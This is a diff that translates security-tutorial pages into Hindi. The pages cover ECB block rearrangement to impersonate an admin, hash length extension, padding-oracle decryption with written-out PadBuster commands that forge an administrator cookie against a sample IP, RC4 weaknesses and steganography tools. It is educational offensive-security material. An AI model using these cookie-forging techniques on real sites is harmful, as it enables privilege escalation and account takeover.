a09798b1e..7ba6bda74 100644 --- a/src/crypto-and-stego/electronic-code-book-ecb.md +++ b/src/crypto-and-stego/electronic-code-book-ecb.md @@ -2,70 +2,64 @@ # ECB -(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key. +(ECB) इलेक्ट्रॉनिक कोड बुक - एक सममित एन्क्रिप्शन योजना जो **स्पष्ट पाठ के प्रत्येक ब्लॉक** को **साइफर टेक्स्ट के ब्लॉक** से **बदलती है**। यह **सबसे सरल** एन्क्रिप्शन योजना है। मुख्य विचार यह है कि **स्पष्ट पाठ को N बिट्स के ब्लॉकों में विभाजित** किया जाए (जो इनपुट डेटा के ब्लॉक के आकार और एन्क्रिप्शन एल्गोरिदम पर निर्भर करता है) और फिर केवल एक कुंजी का उपयोग करके प्रत्येक स्पष्ट पाठ के ब्लॉक को एन्क्रिप्ट (डिक्रिप्ट) किया जाए। ![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) -Using ECB has multiple security implications: +ECB का उपयोग करने के कई सुरक्षा निहितार्थ हैं: -- **Blocks from encrypted message can be removed** -- **Blocks from encrypted message can be moved around** +- **एन्क्रिप्टेड संदेश के ब्लॉक को हटाया जा सकता है** +- **एन्क्रिप्टेड संदेश के ब्लॉक को इधर-उधर किया जा सकता है** -# Detection of the vulnerability +# कमजोरियों का पता लगाना -Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`|`**.\ -Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\ -You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**. - -Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`** +कल्पना करें कि आप एक एप्लिकेशन में कई बार लॉगिन करते हैं और आपको **हमेशा वही कुकी मिलती है**। इसका कारण यह है कि एप्लिकेशन की कुकी **`|`** है।\ +फिर, आप दो नए उपयोगकर्ताओं को उत्पन्न करते हैं, जिनमें से दोनों के पास **एक ही लंबा पासवर्ड** और **लगभग** वही **उपयोगकर्ता नाम** है।\ +आप पाते हैं कि **8B के ब्लॉक** जहां **दोनों उपयोगकर्ताओं की जानकारी** समान है, **बराबर** हैं। फिर, आप कल्पना करते हैं कि यह **ECB के उपयोग** के कारण हो सकता है। +जैसे कि निम्नलिखित उदाहरण में। देखें कि कैसे ये **2 डिकोडेड कुकीज़** कई बार ब्लॉक **`\x23U\xE45K\xCB\x21\xC8`** हैं। ``` \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 ``` +यह इसलिए है क्योंकि उन कुकीज़ का **उपयोगकर्ता नाम और पासवर्ड कई बार "a" अक्षर** को शामिल करते हैं (उदाहरण के लिए)। **विभिन्न** **ब्लॉक** वे ब्लॉक हैं जो **कम से कम 1 विभिन्न अक्षर** को शामिल करते हैं (शायद विभाजक "|" या उपयोगकर्ता नाम में कुछ आवश्यक अंतर)। -This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username). +अब, हमलावर को केवल यह पता लगाने की आवश्यकता है कि प्रारूप `` है या ``। ऐसा करने के लिए, वह बस **कई उपयोगकर्ता नाम उत्पन्न कर सकता है** जिनमें **समान और लंबे उपयोगकर्ता नाम और पासवर्ड** हैं जब तक कि वह प्रारूप और विभाजक की लंबाई नहीं खोज लेता: -Now, the attacker just need to discover if the format is `` or ``. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:** +| उपयोगकर्ता नाम की लंबाई: | पासवर्ड की लंबाई: | उपयोगकर्ता नाम+पासवर्ड की लंबाई: | कुकी की लंबाई (डिकोड करने के बाद): | +| ------------------------- | ------------------ | ------------------------------- | ----------------------------------- | +| 2 | 2 | 4 | 8 | +| 3 | 3 | 6 | 8 | +| 3 | 4 | 7 | 8 | +| 4 | 4 | 8 | 16 | +| 7 | 7 | 14 | 16 | -| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): | -| ---------------- | ---------------- | ------------------------- | --------------------------------- | -| 2 | 2 | 4 | 8 | -| 3 | 3 | 6 | 8 | -| 3 | 4 | 7 | 8 | -| 4 | 4 | 8 | 16 | -| 7 | 7 | 14 | 16 | +# भेद्यता का शोषण -# Exploitation of the vulnerability - -## Removing entire blocks - -Knowing the format of the cookie (`|`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it: +## पूरे ब्लॉकों को हटाना +कुकी के प्रारूप को जानकर (`|`), उपयोगकर्ता नाम `admin` की नकल करने के लिए एक नया उपयोगकर्ता बनाएं जिसका नाम `aaaaaaaaadmin` हो और कुकी प्राप्त करें और इसे डिकोड करें: ``` \x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` - -We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\ -Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`: - +हम पहले देख सकते हैं कि पैटर्न `\x23U\xE45K\xCB\x21\xC8` पहले उस उपयोगकर्ता नाम के साथ बनाया गया था जिसमें केवल `a` था।\ +फिर, आप 8B का पहला ब्लॉक हटा सकते हैं और आपको उपयोगकर्ता नाम `admin` के लिए एक मान्य कुकी मिलेगी: ``` \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` - ## Moving blocks -In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_ +कई डेटाबेस में `WHERE username='admin';` या `WHERE username='admin ';` के लिए खोज करना समान है। _(अतिरिक्त स्पेस पर ध्यान दें)_ -So, another way to impersonate the user `admin` would be to: +तो, उपयोगकर्ता `admin` की नकल करने का एक और तरीका होगा: -- Generate a username that: `len() + len(` will generate 2 blocks of 8Bs. -- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin ` +- एक उपयोगकर्ता नाम उत्पन्न करें जो: `len() + len(` 8Bs के 2 ब्लॉकों का निर्माण करेगा। +- फिर, एक पासवर्ड उत्पन्न करें जो उस उपयोगकर्ता नाम को भरने के लिए एक सटीक संख्या में ब्लॉकों को भरता है जिसे हम नकल करना चाहते हैं और स्पेस, जैसे: `admin ` -The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin ` +इस उपयोगकर्ता का कुकी 3 ब्लॉकों से बना होगा: पहले 2 उपयोगकर्ता नाम + डिलिमिटर के ब्लॉक और तीसरा पासवर्ड (जो उपयोगकर्ता नाम की नकल कर रहा है): `username |admin ` -**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`** +**फिर, बस पहले ब्लॉक को अंतिम समय के साथ बदलें और आप उपयोगकर्ता `admin` की नकल कर रहे होंगे: `admin |username`** ## References diff --git a/src/crypto-and-stego/esoteric-languages.md b/src/crypto-and-stego/esoteric-languages.md index 2faf6564f..595e55f12 100644 --- a/src/crypto-and-stego/esoteric-languages.md +++ b/src/crypto-and-stego/esoteric-languages.md @@ -4,15 +4,13 @@ ## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page) -Check that wiki to search more esotreic languages +अधिक रहस्यमय भाषाओं की खोज के लिए उस विकी की जांच करें ## Malbolge - ``` ('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}= ``` - [http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl) ## npiet @@ -22,7 +20,6 @@ Check that wiki to search more esotreic languages [https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php) ## Rockstar - ``` Midnight takes your heart and your soul While your heart is as high as your soul @@ -51,11 +48,9 @@ Take it to the top Whisper my world ``` - {% embed url="https://codewithrockstar.com/" %} ## PETOOH - ``` KoKoKoKoKoKoKoKoKoKo Kud-Kudah KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah @@ -65,5 +60,4 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO Kukarek ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/hash-length-extension-attack.md b/src/crypto-and-stego/hash-length-extension-attack.md index 51a38df3f..3106bbc85 100644 --- a/src/crypto-and-stego/hash-length-extension-attack.md +++ b/src/crypto-and-stego/hash-length-extension-attack.md @@ -4,28 +4,28 @@ ## Summary of the attack -Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know: +कल्पना कीजिए एक सर्वर जो कुछ डेटा को एक ज्ञात स्पष्ट पाठ डेटा के साथ एक गुप्त को जोड़कर और फिर उस डेटा को हैश करके **साइन** कर रहा है। यदि आप जानते हैं: -- **The length of the secret** (this can be also bruteforced from a given length range) -- **The clear text data** -- **The algorithm (and it's vulnerable to this attack)** -- **The padding is known** - - Usually a default one is used, so if the other 3 requirements are met, this also is - - The padding vary depending on the length of the secret+data, that's why the length of the secret is needed +- **गुप्त की लंबाई** (इसे एक दिए गए लंबाई रेंज से भी ब्रूटफोर्स किया जा सकता है) +- **स्पष्ट पाठ डेटा** +- **एल्गोरिदम (और यह इस हमले के प्रति संवेदनशील है)** +- **पैडिंग ज्ञात है** +- आमतौर पर एक डिफ़ॉल्ट का उपयोग किया जाता है, इसलिए यदि अन्य 3 आवश्यकताएँ पूरी होती हैं, तो यह भी है +- पैडिंग गुप्त + डेटा की लंबाई के आधार पर भिन्न होती है, यही कारण है कि गुप्त की लंबाई की आवश्यकता है -Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**. +तो, एक **हमलावर** के लिए **डेटा** को **जोड़ना** और **पिछले डेटा + जोड़ा गया डेटा** के लिए एक वैध **हस्ताक्षर** **जनरेट** करना संभव है। ### How? -Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**. +बुनियादी रूप से संवेदनशील एल्गोरिदम पहले **डेटा के एक ब्लॉक को हैश करके** हैश उत्पन्न करते हैं, और फिर, **पिछले** बनाए गए **हैश** (राज्य) से, वे **अगले डेटा के ब्लॉक को जोड़ते हैं** और **इसे हैश करते हैं**। -Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\ -If an attacker wants to append the string "append" he can: +फिर, कल्पना कीजिए कि गुप्त "secret" है और डेटा "data" है, "secretdata" का MD5 6036708eba0d11f6ef52ad44e8b74d5b है।\ +यदि एक हमलावर "append" स्ट्रिंग को जोड़ना चाहता है, तो वह कर सकता है: -- Generate a MD5 of 64 "A"s -- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b -- Append the string "append" -- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"** +- 64 "A"s का MD5 उत्पन्न करें +- पहले से प्रारंभ किए गए हैश की स्थिति को 6036708eba0d11f6ef52ad44e8b74d5b में बदलें +- "append" स्ट्रिंग को जोड़ें +- हैश को समाप्त करें और परिणामी हैश "secret" + "data" + "padding" + "append" के लिए एक **वैध** होगा ### **Tool** @@ -33,6 +33,6 @@ If an attacker wants to append the string "append" he can: ### References -You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) +आप इस हमले को अच्छी तरह से समझा हुआ [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) पर पा सकते हैं {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/padding-oracle-priv.md b/src/crypto-and-stego/padding-oracle-priv.md index 96d3145a3..559f1bf9e 100644 --- a/src/crypto-and-stego/padding-oracle-priv.md +++ b/src/crypto-and-stego/padding-oracle-priv.md @@ -2,26 +2,24 @@ {{#include ../banners/hacktricks-training.md}} -{% embed url="https://websec.nl/" %} - ## CBC - Cipher Block Chaining -In CBC mode the **previous encrypted block is used as IV** to XOR with the next block: +CBC मोड में **पिछला एन्क्रिप्टेड ब्लॉक IV के रूप में उपयोग किया जाता है** अगले ब्लॉक के साथ XOR करने के लिए: ![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png) -To decrypt CBC the **opposite** **operations** are done: +CBC को डिक्रिप्ट करने के लिए **विपरीत** **ऑपरेशंस** किए जाते हैं: ![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png) -Notice how it's needed to use an **encryption** **key** and an **IV**. +ध्यान दें कि **एन्क्रिप्शन** **की** और **IV** का उपयोग करना आवश्यक है। ## Message Padding -As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\ -Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`. +चूंकि एन्क्रिप्शन **फिक्स्ड** **साइज** **ब्लॉक्स** में किया जाता है, **पैडिंग** आमतौर पर **अंतिम** **ब्लॉक** में इसकी लंबाई को पूरा करने के लिए आवश्यक होती है।\ +आमतौर पर **PKCS7** का उपयोग किया जाता है, जो पैडिंग **जेनरेट** करता है **ब्लॉक** को **पूरा** करने के लिए **आवश्यक** **बाइट्स** की **संख्या** को **दोहराते** हुए। उदाहरण के लिए, यदि अंतिम ब्लॉक में 3 बाइट्स की कमी है, तो पैडिंग होगी `\x03\x03\x03`। -Let's look at more examples with a **2 blocks of length 8bytes**: +आइए **8 बाइट्स की 2 ब्लॉक्स** के साथ और उदाहरण देखें: | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | @@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**: | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | -Note how in the last example the **last block was full so another one was generated only with padding**. +ध्यान दें कि अंतिम उदाहरण में **अंतिम ब्लॉक पूरा था इसलिए केवल पैडिंग के साथ एक और उत्पन्न किया गया**। ## Padding Oracle -When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**. +जब एक एप्लिकेशन एन्क्रिप्टेड डेटा को डिक्रिप्ट करता है, तो यह पहले डेटा को डिक्रिप्ट करेगा; फिर यह पैडिंग को हटा देगा। पैडिंग की सफाई के दौरान, यदि **अमान्य पैडिंग एक पहचान योग्य व्यवहार को ट्रिगर करती है**, तो आपके पास **पैडिंग ऑरेकल भेद्यता** है। पहचान योग्य व्यवहार एक **त्रुटि**, **परिणामों की कमी**, या **धीमी प्रतिक्रिया** हो सकता है। -If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**. +यदि आप इस व्यवहार का पता लगाते हैं, तो आप **एन्क्रिप्टेड डेटा को डिक्रिप्ट** कर सकते हैं और यहां तक कि **किसी भी क्लियरटेक्स्ट को एन्क्रिप्ट** कर सकते हैं। ### How to exploit -You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do - +आप इस प्रकार की भेद्यता का शोषण करने के लिए [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) का उपयोग कर सकते हैं या बस करें ``` sudo apt-get install padbuster ``` - -In order to test if the cookie of a site is vulnerable you could try: - +किसी साइट के कुकी की संवेदनशीलता का परीक्षण करने के लिए आप कोशिश कर सकते हैं: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" ``` +**Encoding 0** का मतलब है कि **base64** का उपयोग किया गया है (लेकिन अन्य उपलब्ध हैं, मदद मेनू की जांच करें)। -**Encoding 0** means that **base64** is used (but others are available, check the help menu). - -You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter: - +आप इस कमजोरियों का **दुरुपयोग करके नए डेटा को एन्क्रिप्ट कर सकते हैं। उदाहरण के लिए, कल्पना करें कि कुकी की सामग्री "**_**user=MyUsername**_**" है, तो आप इसे "\_user=administrator\_" में बदल सकते हैं और एप्लिकेशन के अंदर विशेषाधिकार बढ़ा सकते हैं। आप इसे `paduster` का उपयोग करके -plaintext** पैरामीटर निर्दिष्ट करके भी कर सकते हैं: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" ``` - -If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter. - +यदि साइट कमजोर है तो `padbuster` स्वचालित रूप से यह पता लगाने की कोशिश करेगा कि पैडिंग त्रुटि कब होती है, लेकिन आप **-error** पैरामीटर का उपयोग करके त्रुटि संदेश को भी इंगित कर सकते हैं। ```bash perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" ``` +### सिद्धांत -### The theory - -In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**. +**संक्षेप में**, आप सभी **विभिन्न पैडिंग** बनाने के लिए उपयोग किए जा सकने वाले सही मानों का अनुमान लगाकर एन्क्रिप्टेड डेटा को डिक्रिप्ट करना शुरू कर सकते हैं। फिर, पैडिंग ऑरेकल अटैक अंत से शुरू होकर सही मान का अनुमान लगाते हुए बाइट्स को डिक्रिप्ट करना शुरू करेगा जो **1, 2, 3, आदि** की पैडिंग बनाता है। ![](<../images/image (561).png>) -Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\ -In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\ -Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So: +कल्पना करें कि आपके पास कुछ एन्क्रिप्टेड टेक्स्ट है जो **2 ब्लॉक्स** में फैला हुआ है जो **E0 से E15** तक के बाइट्स से बना है।\ +**अंतिम** **ब्लॉक** (**E8** से **E15**) को **डिक्रिप्ट** करने के लिए, पूरा ब्लॉक "ब्लॉक सिफर डिक्रिप्शन" के माध्यम से जाता है जिससे **मध्यवर्ती बाइट्स I0 से I15** उत्पन्न होते हैं।\ +अंत में, प्रत्येक मध्यवर्ती बाइट को पिछले एन्क्रिप्टेड बाइट्स (E0 से E7) के साथ **XOR** किया जाता है। तो: - `C15 = D(E15) ^ E7 = I15 ^ E7` - `C14 = I14 ^ E6` @@ -82,31 +72,30 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes ( - `C12 = I12 ^ E4` - ... -Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7` +अब, यह संभव है कि **`E7` को इस तरह से संशोधित करें कि `C15` `0x01` हो**, जो एक सही पैडिंग भी होगी। तो, इस मामले में: `\x01 = I15 ^ E'7` -So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7` +तो, E'7 को खोजकर, **I15** की गणना करना संभव है: `I15 = 0x01 ^ E'7` -Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` +जो हमें **C15** की गणना करने की अनुमति देता है: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` -Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`. +**C15** को जानकर, अब **C14** की गणना करना संभव है, लेकिन इस बार पैडिंग `\x02\x02` को ब्रूट-फोर्स करते हुए। -This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\ -Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** +यह BF पिछले एक के रूप में जटिल है क्योंकि यह `E''15` की गणना करना संभव है जिसका मान 0x02 है: `E''7 = \x02 ^ I15` इसलिए केवल **`E'14`** को खोजने की आवश्यकता है जो **`C14` को `0x02`** के बराबर बनाता है।\ +फिर, C14 को डिक्रिप्ट करने के लिए वही कदम उठाएं: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** -**Follow this chain until you decrypt the whole encrypted text.** +**इस श्रृंखला का पालन करें जब तक आप पूरे एन्क्रिप्टेड टेक्स्ट को डिक्रिप्ट न कर लें।** -### Detection of the vulnerability +### भेद्यता का पता लगाना -Register and account and log in with this account .\ -If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t. +एक रजिस्टर और खाता बनाएं और इस खाते से लॉग इन करें।\ +यदि आप **कई बार लॉग इन करते हैं** और हमेशा **एक ही कुकी** प्राप्त करते हैं, तो संभवतः एप्लिकेशन में **कुछ** **गलत** है। **कुकी हर बार लॉग इन करते समय अद्वितीय होनी चाहिए**। यदि कुकी **हमेशा** **एक ही** है, तो यह संभवतः हमेशा मान्य होगी और इसे अमान्य करने का कोई तरीका नहीं होगा। -Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\ -But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster. +अब, यदि आप **कुकी** को **संशोधित** करने की कोशिश करते हैं, तो आप देख सकते हैं कि आपको एप्लिकेशन से एक **त्रुटि** मिलती है।\ +लेकिन यदि आप पैडिंग को BF करते हैं (उदाहरण के लिए padbuster का उपयोग करते हुए) तो आप एक अन्य उपयोगकर्ता के लिए मान्य कुकी प्राप्त करने में सफल होते हैं। यह परिदृश्य padbuster के लिए अत्यधिक संभावित रूप से संवेदनशील है। -### References +### संदर्भ - [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation) -{% embed url="https://websec.nl/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md index dc89fa296..d48deb94b 100644 --- a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md +++ b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md @@ -1,8 +1,8 @@ {{#include ../banners/hacktricks-training.md}} -If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function. +यदि आप किसी तरह RC4 का उपयोग करके एक plaintext को एन्क्रिप्ट कर सकते हैं, तो आप उसी पासवर्ड का उपयोग करके उस RC4 द्वारा एन्क्रिप्ट की गई किसी भी सामग्री को केवल एन्क्रिप्शन फ़ंक्शन का उपयोग करके डिक्रिप्ट कर सकते हैं। -If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine: +यदि आप एक ज्ञात plaintext को एन्क्रिप्ट कर सकते हैं, तो आप पासवर्ड भी निकाल सकते हैं। अधिक संदर्भ HTB Kryptos मशीन में मिल सकते हैं: {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} diff --git a/src/crypto-and-stego/stego-tricks.md b/src/crypto-and-stego/stego-tricks.md index 91ed86406..f4f7051bc 100644 --- a/src/crypto-and-stego/stego-tricks.md +++ b/src/crypto-and-stego/stego-tricks.md @@ -2,50 +2,41 @@ {{#include ../banners/hacktricks-training.md}} -## **Extracting Data from Files** +## **फाइलों से डेटा निकालना** ### **Binwalk** -A tool for searching binary files for embedded hidden files and data. It's installed via `apt` and its source is available on [GitHub](https://github.com/ReFirmLabs/binwalk). - +एक उपकरण जो बाइनरी फाइलों में छिपी हुई फाइलों और डेटा की खोज करता है। इसे `apt` के माध्यम से स्थापित किया जाता है और इसका स्रोत [GitHub](https://github.com/ReFirmLabs/binwalk) पर उपलब्ध है। ```bash binwalk file # Displays the embedded data binwalk -e file # Extracts the data binwalk --dd ".*" file # Extracts all data ``` - ### **Foremost** -Recovers files based on their headers and footers, useful for png images. Installed via `apt` with its source on [GitHub](https://github.com/korczis/foremost). - +हेडर और फुटर के आधार पर फ़ाइलों को पुनर्प्राप्त करता है, png छवियों के लिए उपयोगी। `apt` के माध्यम से स्थापित किया गया है, इसका स्रोत [GitHub](https://github.com/korczis/foremost) पर है। ```bash foremost -i file # Extracts data ``` - ### **Exiftool** -Helps to view file metadata, available [here](https://www.sno.phy.queensu.ca/~phil/exiftool/). - +फाइल मेटाडेटा देखने में मदद करता है, उपलब्ध [यहाँ](https://www.sno.phy.queensu.ca/~phil/exiftool/)। ```bash exiftool file # Shows the metadata ``` - ### **Exiv2** -Similar to exiftool, for metadata viewing. Installable via `apt`, source on [GitHub](https://github.com/Exiv2/exiv2), and has an [official website](http://www.exiv2.org/). - +Exiftool के समान, मेटाडेटा देखने के लिए। `apt` के माध्यम से स्थापित किया जा सकता है, स्रोत [GitHub](https://github.com/Exiv2/exiv2) पर है, और इसका [आधिकारिक वेबसाइट](http://www.exiv2.org/) है। ```bash exiv2 file # Shows the metadata ``` +### **फाइल** -### **File** +आप जिस फाइल से निपट रहे हैं, उसकी पहचान करें। -Identify the type of file you're dealing with. - -### **Strings** - -Extracts readable strings from files, using various encoding settings to filter the output. +### **स्ट्रिंग्स** +फाइलों से पठनीय स्ट्रिंग्स निकालता है, आउटपुट को फ़िल्टर करने के लिए विभिन्न एन्कोडिंग सेटिंग्स का उपयोग करता है। ```bash strings -n 6 file # Extracts strings with a minimum length of 6 strings -n 6 file | head -n 20 # First 20 strings @@ -57,74 +48,65 @@ strings -e b -n 6 file # 16bit strings (big-endian) strings -e L -n 6 file # 32bit strings (little-endian) strings -e B -n 6 file # 32bit strings (big-endian) ``` - ### **Comparison (cmp)** -Useful for comparing a modified file with its original version found online. - +ऑनलाइन पाए गए मूल संस्करण के साथ संशोधित फ़ाइल की तुलना करने के लिए उपयोगी। ```bash cmp original.jpg stego.jpg -b -l ``` +## **पाठ में छिपे डेटा को निकालना** -## **Extracting Hidden Data in Text** +### **स्पेस में छिपा डेटा** -### **Hidden Data in Spaces** +दृश्यमान रूप से खाली स्पेस में अदृश्य वर्ण जानकारी छिपा सकते हैं। इस डेटा को निकालने के लिए, [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder) पर जाएं। -Invisible characters in seemingly empty spaces may hide information. To extract this data, visit [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder). +## **छवियों से डेटा निकालना** -## **Extracting Data from Images** - -### **Identifying Image Details with GraphicMagick** - -[GraphicMagick](https://imagemagick.org/script/download.php) serves to determine image file types and identify potential corruption. Execute the command below to inspect an image: +### **GraphicMagick के साथ छवि विवरण की पहचान करना** +[GraphicMagick](https://imagemagick.org/script/download.php) छवि फ़ाइल प्रकारों को निर्धारित करने और संभावित भ्रष्टाचार की पहचान करने के लिए कार्य करता है। एक छवि का निरीक्षण करने के लिए नीचे दिए गए कमांड को निष्पादित करें: ```bash ./magick identify -verbose stego.jpg ``` - -To attempt repair on a damaged image, adding a metadata comment might help: - +एक क्षतिग्रस्त छवि की मरम्मत करने के लिए, एक मेटाडेटा टिप्पणी जोड़ना मदद कर सकता है: ```bash ./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg ``` +### **Steghide के लिए डेटा छिपाना** -### **Steghide for Data Concealment** +Steghide `JPEG, BMP, WAV, और AU` फ़ाइलों के भीतर डेटा छिपाने की सुविधा प्रदान करता है, जो एन्क्रिप्टेड डेटा को एम्बेड और निकालने में सक्षम है। इंस्टॉलेशन `apt` का उपयोग करके सीधा है, और इसका [स्रोत कोड GitHub पर उपलब्ध है](https://github.com/StefanoDeVuono/steghide)। -Steghide facilitates hiding data within `JPEG, BMP, WAV, and AU` files, capable of embedding and extracting encrypted data. Installation is straightforward using `apt`, and its [source code is available on 